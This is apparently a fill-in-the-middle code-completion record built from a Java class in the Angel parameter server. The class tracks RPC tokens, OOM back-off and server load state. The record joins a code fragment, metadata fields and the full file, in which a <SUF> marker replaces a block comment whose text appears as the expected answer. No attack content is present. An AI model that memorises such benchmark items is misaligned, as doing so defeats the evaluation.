context.getConf().getInt(AngelConf.ANGEL_PS_MEMORY_GB, AngelConf.DEFAULT_ANGEL_PS_MEMORY_GB)
* 1024;
int estSize = (int) ((serverMem - 512) * 0.45 / 8);
//int maxRPCCounter = Math.max(estSize, (int) (workerNum * factor));
int maxRPCCounter = context.getConf().getInt("angel.ps.max.rpc.counter", 10000);
maxRunningRPCCounter.set(maxRPCCounter);
generalRunningRPCCounter.set((int) (maxRPCCounter * genFactor));
tokenTimeoutMs = context.getConf()
.getInt(AngelConf.ANGEL_MATRIXTRANSFER_SERVER_TOKEN_TIMEOUT_MS,
AngelConf.DEFAULT_ANGEL_MATRIXTRANSFER_SERVER_TOKEN_TIMEOUT_MS);
}
/**
* Start token timeout checker: if some tokens are not used within a specified time, just release them
*/
public void start() {
tokenTimeoutChecker = new Thread(() -> {
while (!stopped.get() && !Thread.interrupted()) {
long ts = System.currentTimeMillis();
for (Map.Entry<Integer, ClientRunningContext> clientEntry : clientRPCCounters.entrySet()) {
int inflightRPCCounter = clientEntry.getValue().getInflightingRPCCounter();
long lastUpdateTs = clientEntry.getValue().getLastUpdateTs();
LOG.debug(
"inflightRPCCounter=" + inflightRPCCounter + ", lastUpdateTs=" + lastUpdateTs + ", ts="
+ ts);
if (inflightRPCCounter != 0 && (ts - lastUpdateTs) > tokenTimeoutMs) {
LOG.info("client " + clientEntry.getKey() + " token is timeout");
relaseToken(clientEntry.getKey(), inflightRPCCounter);
}
}
checkOOM();
if (LOG.isDebugEnabled()) {
printToken();
} else {
printTokenIfBusy();
}
printToken();
try {
Thread.sleep(30000);
} catch (InterruptedException e) {
if (!stopped.get()) {
LOG.error("token-timeout-checker is interrupted");
}
}
}
});
tokenTimeoutChecker.setName("token-timeout-checker");
tokenTimeoutChecker.start();
}
private void printTokenIfBusy() {
if(getState() == ServerState.BUSY) {
printToken();
}
}
/**
* Print context
*/
public void printToken() {
LOG.info("=====================Server running context start=======================");
LOG.info("state = " + getState());
LOG.info("totalRunningRPCCounter = " + totalRunningRPCCounter.get());
LOG.info("infligtingRPCCounter = " + infligtingRPCCounter.get());
LOG.info("oomCounter = " + oomCounter.get());
LOG.info("maxRunningRPCCounter = " + maxRunningRPCCounter.get());
LOG.info("generalRunningRPCCounter = " + generalRunningRPCCounter.get());
LOG.info("lastOOMRunningRPCCounter = " + lastOOMRunningRPCCounter.get());
LOG.info("totalRPCCounter = " + totalRPCCounter.get());
//for (Map.Entry<Integer, ClientRunningContext> clientEntry : clientRPCCounters.entrySet()) {
// LOG.info("client " + clientEntry.getKey() + " running context:");
// clientEntry.getValue().printToken();
//}
LOG.info("total=" + WorkerPool.total.get());
LOG.info("normal=" + WorkerPool.normal);
LOG.info("network=" + WorkerPool.network);
LOG.info("channelInUseCounter=" + WorkerPool.channelInUseCounter);
LOG.info("oom=" + WorkerPool.oom);
LOG.info("unknown=" + WorkerPool.unknown);
/*
for(Entry<Integer, PSRPCMetrics> metricEntry : methodIdToMetricsMap.entrySet()) {
LOG.info("Method " + TransportMethod.valueOf(metricEntry.getKey()) + " use time " + metricEntry.getValue());
}
*/
LOG.info("=====================Server running context end =======================");
}
/**
* Stop token timeout checker
*/
public void stop() {
if (!stopped.compareAndSet(false, true)) {
if (tokenTimeoutChecker != null) {
tokenTimeoutChecker.interrupt();
tokenTimeoutChecker = null;
}
}
}
/**
* Before handle a request, update counters
*
* @param clientId client id
* @param seqId request id
*/
public void before(int clientId, int seqId) {
totalRPCCounter.incrementAndGet();
totalRunningRPCCounter.incrementAndGet();
getClientRunningContext(clientId).before(seqId);
}
/**
* After handle a request, update counters
*
* @param clientId client id
* @param seqId request id
*/
public void after(int clientId, int seqId) {
totalRunningRPCCounter.decrementAndGet();
getClientRunningContext(clientId).after(seqId);
if (totalRunningRPCCounter.get() + infligtingRPCCounter.get() < 0.7 * lastOOMRunningRPCCounter
.get()) {
oomCounter.set(0);
}
}
private void checkOOM() {
if (totalRunningRPCCounter.get() + infligtingRPCCounter.get() < 0.7 * lastOOMRunningRPCCounter
.get()) {
oomCounter.set(0);
}
}
/**
* OOM happened
*/
public void oom() {
oomCounter.incrementAndGet();
int runningAndInfightingRPCCounter = getRunningAndInflightingRPCCounter();
lastOOMRunningRPCCounter.set(runningAndInfightingRPCCounter);
maxRunningRPCCounter.set((int) (runningAndInfightingRPCCounter * 0.8));
generalRunningRPCCounter.set((int) (runningAndInfightingRPCCounter * 0.8 * genFactor));
LOG.info("OOM happened, lastOOMRunningRPCCounter=" + lastOOMRunningRPCCounter.get()
+ ", maxRunningRPCCounter=" + maxRunningRPCCounter.get() + ", generalRunningRPCCounter="
+ generalRunningRPCCounter.get());
}
/**
* Is OOM happened
*
* @return true means happened
*/
public boolean isOOM() {
return oomCounter.get() > 0;
}
/**
* Get total running rpc number
*
* @return total running rpc number
*/
public int getTotalRunningRPCCounter() {
return totalRunningRPCCounter.get();
}
/**
* Get Server running state
*
* @return server running state
*/
public ServerState getState() {
//return ServerState.GENERAL;
int runningAndInfightingRPCCounter = getRunningAndInflightingRPCCounter();
if (isOOM()) {
return ServerState.BUSY;
}
if (runningAndInfightingRPCCounter >= maxRunningRPCCounter.get()) {
return ServerState.BUSY;
} else if ((runningAndInfightingRPCCounter < maxRunningRPCCounter.get()) && (
runningAndInfightingRPCCounter >= generalRunningRPCCounter.get())) {
return ServerState.GENERAL;
} else {
return ServerState.IDLE;
}
}
private int getRunningAndInflightingRPCCounter() {
return totalRunningRPCCounter.get() + infligtingRPCCounter.get();
}
/**
* Allocate token for a request
*
* @param clientId client id
* @param dataSize request size
* @return token number
*/
public int allocateToken(int clientId, int dataSize) {
if (isOOM()) {
return 0;
} else {
int runningAndInfightingRPCCounter = getRunningAndInflightingRPCCounter();
if (maxRunningRPCCounter.get() - runningAndInfightingRPCCounter >= 1) {
infligtingRPCCounter.incrementAndGet();
getClientRunningContext(clientId).allocateToken(1);
return 1;
} else {
return 0;
}
}
}
/**
* Release token
*
* @param clientId client id
* @param tokenNum token number
*/
public void relaseToken(int clientId, int tokenNum) {
infligtingRPCCounter.addAndGet(-tokenNum);
getClientRunningContext(clientId).releaseToken(tokenNum);
}
/**
* Get client running context
*
* @param clientId client id
* @return client running context
*/
public ClientRunningContext getClientRunningContext(int clientId) {
ClientRunningContext clientContext = clientRPCCounters.get(clientId);
if (clientContext == null) {
clientContext = clientRPCCounters.putIfAbsent(clientId, new ClientRunningContext());
if (clientContext == null) {
clientContext = clientRPCCounters.get(clientId);
}
}
return clientContext;
}
/*
public void methodUseTime(int methodId, long useTime) {
PSRPCMetrics metrics = methodIdToMetricsMap.get(methodId);
if(metrics == null) {
metrics = methodIdToMetricsMap.putIfAbsent(methodId, new PSRPCMetrics());
if(metrics == null) {
metrics = methodIdToMetricsMap.get(methodId);
}
}
metrics.add(useTime);
}
*/
}
| Angel-ML/angel | angel-ps/core/src/main/java/com/tencent/angel/ps/server/data/RunningContext.java | 3,779 | /**
* Release token
*
* @param clientId client id
* @param tokenNum token number
*/ | block_comment | nl | /*
* Tencent is pleased to support the open source community by making Angel available.
*
* Copyright (C) 2017-2018 THL A29 Limited, a Tencent company. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in
* compliance with the License. You may obtain a copy of the License at
*
* https://opensource.org/licenses/Apache-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*
*/
package com.tencent.angel.ps.server.data;
import com.tencent.angel.conf.AngelConf;
import com.tencent.angel.ps.PSContext;
import java.util.Map.Entry;
import java.util.concurrent.atomic.AtomicLong;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicInteger;
import org.apache.hadoop.ipc.metrics.RpcMetrics;
/**
* PS running context
*/
public class RunningContext {
private static final Log LOG = LogFactory.getLog(RunningContext.class);
private final ConcurrentHashMap<Integer, ClientRunningContext> clientRPCCounters =
new ConcurrentHashMap<>();
private final AtomicInteger totalRPCCounter = new AtomicInteger(0);
private final AtomicInteger totalRunningRPCCounter = new AtomicInteger(0);
private final AtomicInteger oomCounter = new AtomicInteger(0);
private final AtomicInteger lastOOMRunningRPCCounter = new AtomicInteger(0);
private final AtomicInteger maxRunningRPCCounter = new AtomicInteger(0);
private final AtomicInteger generalRunningRPCCounter = new AtomicInteger(0);
private final AtomicInteger infligtingRPCCounter = new AtomicInteger(0);
private volatile Thread tokenTimeoutChecker;
private final int tokenTimeoutMs;
private final AtomicBoolean stopped = new AtomicBoolean(false);
private volatile long lastOOMTs = System.currentTimeMillis();
private final float genFactor;
/*
private final ConcurrentHashMap<Integer, PSRPCMetrics> methodIdToMetricsMap = new ConcurrentHashMap<>();
class PSRPCMetrics {
private final AtomicInteger rpcCallTime = new AtomicInteger(0);
private final AtomicLong totalUseTime = new AtomicLong(0);
public void add(long useTime) {
rpcCallTime.incrementAndGet();
totalUseTime.addAndGet(useTime);
}
@Override
public String toString() {
if(rpcCallTime.get() == 0) {
return "PSRPCMetrics{" +
"rpcCallTime=" + rpcCallTime.get() +
", totalUseTime=" + totalUseTime.get() +
'}';
} else {
return "PSRPCMetrics{" +
"rpcCallTime=" + rpcCallTime.get() +
", totalUseTime=" + totalUseTime.get() +
", avg use time=" + totalUseTime.get() / rpcCallTime.get() +
'}';
}
}
}
*/
public RunningContext(PSContext context) {
LOG.info("Runtime.getRuntime().availableProcessors() = " + Runtime.getRuntime().availableProcessors());
int workerNum = context.getConf().getInt(AngelConf.ANGEL_MATRIXTRANSFER_SERVER_WORKER_POOL_SIZE,
AngelConf.DEFAULT_ANGEL_MATRIXTRANSFER_SERVER_WORKER_POOL_SIZE);
float factor = context.getConf()
.getFloat(AngelConf.ANGEL_MATRIXTRANSFER_SERVER_RPC_LIMIT_FACTOR,
AngelConf.DEFAULT_ANGEL_MATRIXTRANSFER_SERVER_RPC_LIMIT_FACTOR);
genFactor = context.getConf()
.getFloat(AngelConf.ANGEL_MATRIXTRANSFER_SERVER_RPC_LIMIT_GENERAL_FACTOR,
AngelConf.DEFAULT_ANGEL_MATRIXTRANSFER_SERVER_RPC_LIMIT_GENERAL_FACTOR);
int serverMem =
context.getConf().getInt(AngelConf.ANGEL_PS_MEMORY_GB, AngelConf.DEFAULT_ANGEL_PS_MEMORY_GB)
* 1024;
int estSize = (int) ((serverMem - 512) * 0.45 / 8);
//int maxRPCCounter = Math.max(estSize, (int) (workerNum * factor));
int maxRPCCounter = context.getConf().getInt("angel.ps.max.rpc.counter", 10000);
maxRunningRPCCounter.set(maxRPCCounter);
generalRunningRPCCounter.set((int) (maxRPCCounter * genFactor));
tokenTimeoutMs = context.getConf()
.getInt(AngelConf.ANGEL_MATRIXTRANSFER_SERVER_TOKEN_TIMEOUT_MS,
AngelConf.DEFAULT_ANGEL_MATRIXTRANSFER_SERVER_TOKEN_TIMEOUT_MS);
}
/**
* Start token timeout checker: if some tokens are not used within a specified time, just release them
*/
public void start() {
tokenTimeoutChecker = new Thread(() -> {
while (!stopped.get() && !Thread.interrupted()) {
long ts = System.currentTimeMillis();
for (Map.Entry<Integer, ClientRunningContext> clientEntry : clientRPCCounters.entrySet()) {
int inflightRPCCounter = clientEntry.getValue().getInflightingRPCCounter();
long lastUpdateTs = clientEntry.getValue().getLastUpdateTs();
LOG.debug(
"inflightRPCCounter=" + inflightRPCCounter + ", lastUpdateTs=" + lastUpdateTs + ", ts="
+ ts);
if (inflightRPCCounter != 0 && (ts - lastUpdateTs) > tokenTimeoutMs) {
LOG.info("client " + clientEntry.getKey() + " token is timeout");
relaseToken(clientEntry.getKey(), inflightRPCCounter);
}
}
checkOOM();
if (LOG.isDebugEnabled()) {
printToken();
} else {
printTokenIfBusy();
}
printToken();
try {
Thread.sleep(30000);
} catch (InterruptedException e) {
if (!stopped.get()) {
LOG.error("token-timeout-checker is interrupted");
}
}
}
});
tokenTimeoutChecker.setName("token-timeout-checker");
tokenTimeoutChecker.start();
}
private void printTokenIfBusy() {
if(getState() == ServerState.BUSY) {
printToken();
}
}
/**
* Print context
*/
public void printToken() {
LOG.info("=====================Server running context start=======================");
LOG.info("state = " + getState());
LOG.info("totalRunningRPCCounter = " + totalRunningRPCCounter.get());
LOG.info("infligtingRPCCounter = " + infligtingRPCCounter.get());
LOG.info("oomCounter = " + oomCounter.get());
LOG.info("maxRunningRPCCounter = " + maxRunningRPCCounter.get());
LOG.info("generalRunningRPCCounter = " + generalRunningRPCCounter.get());
LOG.info("lastOOMRunningRPCCounter = " + lastOOMRunningRPCCounter.get());
LOG.info("totalRPCCounter = " + totalRPCCounter.get());
//for (Map.Entry<Integer, ClientRunningContext> clientEntry : clientRPCCounters.entrySet()) {
// LOG.info("client " + clientEntry.getKey() + " running context:");
// clientEntry.getValue().printToken();
//}
LOG.info("total=" + WorkerPool.total.get());
LOG.info("normal=" + WorkerPool.normal);
LOG.info("network=" + WorkerPool.network);
LOG.info("channelInUseCounter=" + WorkerPool.channelInUseCounter);
LOG.info("oom=" + WorkerPool.oom);
LOG.info("unknown=" + WorkerPool.unknown);
/*
for(Entry<Integer, PSRPCMetrics> metricEntry : methodIdToMetricsMap.entrySet()) {
LOG.info("Method " + TransportMethod.valueOf(metricEntry.getKey()) + " use time " + metricEntry.getValue());
}
*/
LOG.info("=====================Server running context end =======================");
}
/**
* Stop token timeout checker
*/
public void stop() {
if (!stopped.compareAndSet(false, true)) {
if (tokenTimeoutChecker != null) {
tokenTimeoutChecker.interrupt();
tokenTimeoutChecker = null;
}
}
}
/**
* Before handle a request, update counters
*
* @param clientId client id
* @param seqId request id
*/
public void before(int clientId, int seqId) {
totalRPCCounter.incrementAndGet();
totalRunningRPCCounter.incrementAndGet();
getClientRunningContext(clientId).before(seqId);
}
/**
* After handle a request, update counters
*
* @param clientId client id
* @param seqId request id
*/
public void after(int clientId, int seqId) {
totalRunningRPCCounter.decrementAndGet();
getClientRunningContext(clientId).after(seqId);
if (totalRunningRPCCounter.get() + infligtingRPCCounter.get() < 0.7 * lastOOMRunningRPCCounter
.get()) {
oomCounter.set(0);
}
}
private void checkOOM() {
if (totalRunningRPCCounter.get() + infligtingRPCCounter.get() < 0.7 * lastOOMRunningRPCCounter
.get()) {
oomCounter.set(0);
}
}
/**
* OOM happened
*/
public void oom() {
oomCounter.incrementAndGet();
int runningAndInfightingRPCCounter = getRunningAndInflightingRPCCounter();
lastOOMRunningRPCCounter.set(runningAndInfightingRPCCounter);
maxRunningRPCCounter.set((int) (runningAndInfightingRPCCounter * 0.8));
generalRunningRPCCounter.set((int) (runningAndInfightingRPCCounter * 0.8 * genFactor));
LOG.info("OOM happened, lastOOMRunningRPCCounter=" + lastOOMRunningRPCCounter.get()
+ ", maxRunningRPCCounter=" + maxRunningRPCCounter.get() + ", generalRunningRPCCounter="
+ generalRunningRPCCounter.get());
}
/**
* Is OOM happened
*
* @return true means happened
*/
public boolean isOOM() {
return oomCounter.get() > 0;
}
/**
* Get total running rpc number
*
* @return total running rpc number
*/
public int getTotalRunningRPCCounter() {
return totalRunningRPCCounter.get();
}
/**
* Get Server running state
*
* @return server running state
*/
public ServerState getState() {
//return ServerState.GENERAL;
int runningAndInfightingRPCCounter = getRunningAndInflightingRPCCounter();
if (isOOM()) {
return ServerState.BUSY;
}
if (runningAndInfightingRPCCounter >= maxRunningRPCCounter.get()) {
return ServerState.BUSY;
} else if ((runningAndInfightingRPCCounter < maxRunningRPCCounter.get()) && (
runningAndInfightingRPCCounter >= generalRunningRPCCounter.get())) {
return ServerState.GENERAL;
} else {
return ServerState.IDLE;
}
}
private int getRunningAndInflightingRPCCounter() {
return totalRunningRPCCounter.get() + infligtingRPCCounter.get();
}
/**
* Allocate token for a request
*
* @param clientId client id
* @param dataSize request size
* @return token number
*/
public int allocateToken(int clientId, int dataSize) {
if (isOOM()) {
return 0;
} else {
int runningAndInfightingRPCCounter = getRunningAndInflightingRPCCounter();
if (maxRunningRPCCounter.get() - runningAndInfightingRPCCounter >= 1) {
infligtingRPCCounter.incrementAndGet();
getClientRunningContext(clientId).allocateToken(1);
return 1;
} else {
return 0;
}
}
}
/**
* Release token
<SUF>*/
public void relaseToken(int clientId, int tokenNum) {
infligtingRPCCounter.addAndGet(-tokenNum);
getClientRunningContext(clientId).releaseToken(tokenNum);
}
/**
* Get client running context
*
* @param clientId client id
* @return client running context
*/
public ClientRunningContext getClientRunningContext(int clientId) {
ClientRunningContext clientContext = clientRPCCounters.get(clientId);
if (clientContext == null) {
clientContext = clientRPCCounters.putIfAbsent(clientId, new ClientRunningContext());
if (clientContext == null) {
clientContext = clientRPCCounters.get(clientId);
}
}
return clientContext;
}
/*
public void methodUseTime(int methodId, long useTime) {
PSRPCMetrics metrics = methodIdToMetricsMap.get(methodId);
if(metrics == null) {
metrics = methodIdToMetricsMap.putIfAbsent(methodId, new PSRPCMetrics());
if(metrics == null) {
metrics = methodIdToMetricsMap.get(methodId);
}
}
metrics.add(useTime);
}
*/
}
|